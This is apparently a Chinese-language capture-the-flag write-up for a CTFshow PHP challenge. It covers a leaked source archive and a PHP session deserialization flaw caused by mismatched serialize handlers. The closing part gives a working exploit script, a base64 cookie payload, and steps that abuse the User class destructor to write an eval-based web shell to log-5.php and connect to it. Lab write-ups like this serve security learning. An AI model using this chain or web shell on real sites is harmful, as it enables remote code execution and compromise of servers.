- 源码泄漏,访问
www.zip
,把源码下载下来 - 代码审计,一看到
ini_set('session.serialize_handler', 'php');
就应该是session反序列化
```phpinc.php
<?php error_reporting(0); ini_set(‘display_errors’, 0);
//php处理器引擎 ini_set(‘session.serialize_handler’, ‘php’); date_default_timezone_set(“Asia/Shanghai”); session_start(); use \CTFSHOW\CTFSHOW; require_once ‘CTFSHOW.php’; $db = new CTFSHOW([ ‘database_type’ => ‘mysql’, ‘database_name’ => ‘web’, ‘server’ => ‘localhost’, ‘username’ => ‘root’, ‘password’ => ‘root’, ‘charset’ => ‘utf8’, ‘port’ => 3306, ‘prefix’ => ‘’, ‘option’ => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]);
// sql注入检查 function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match(“/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|`|~|!|\@|#|\$|\%|\^|\|\&|*|(|)|\(|\)|+|\=|[|]|\;|\:|\’|\”|\<|\,|>|\?/i”,$str); } }
class User{ public $username; public $password; public $status; function construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function destruct(){ file_put_contents(“log-“.$this->username, “使用”.$this->password.”登陆”.($this->status?”成功”:”失败”).”——“.date_create()->format(‘Y-m-d H:i:s’)); } }
/生成唯一标志 标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12) */
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . ‘-‘
. substr ( $chars, 8, 4 ) . ‘-‘
. substr ( $chars, 12, 4 ) . ‘-‘
. substr ( $chars, 16, 4 ) . ‘-‘
. substr ( $chars, 20, 12 );
return $uuid ;
}
```php
#index.php
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
//这里是变量是假条件,所以不会限制登录,而会不断覆盖session变量
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
.....
?>
#check.php
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
在
inc.php
写了本地处理器引擎是php,所以全局处理器引擎肯定是php_serialize
,那就可以进行利用了,先找一下session
是否可控,这里访问index.php
第一次就被设置了session
<?php error_reporting(0); session_start(); if(isset($_SESSION['limit'])){ //这里是变量是假条件,所以不会限制登录,而会不断覆盖session变量 $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; }
在
inc.php
中有User
类可以进行写入文件操作,那么就可以进行利用了写反序列化链了,这里不知道是服务器的bug还是啥,单独写一句话木马不会被写进文件,要加上另一句才会执行。离谱….
```php <?php class User{ public $username; public $password; function __construct(){$this->username = "5.php"; $this->password = '<?php eval($_POST[2]);phpinfo();?>';
} } echo base64_encode(“|”.serialize(new User())); //fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiI1LnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMl0pO3BocGluZm8oKTs/PiI7fQ==
?> ```
- 先改掉
index.php
的cookie
值,重新加载后,访问check.php
用php引擎进行处理session
变量值进行反序列化操作,写入我们的小马文件
- 访问
log-5.php
利用工具进行连接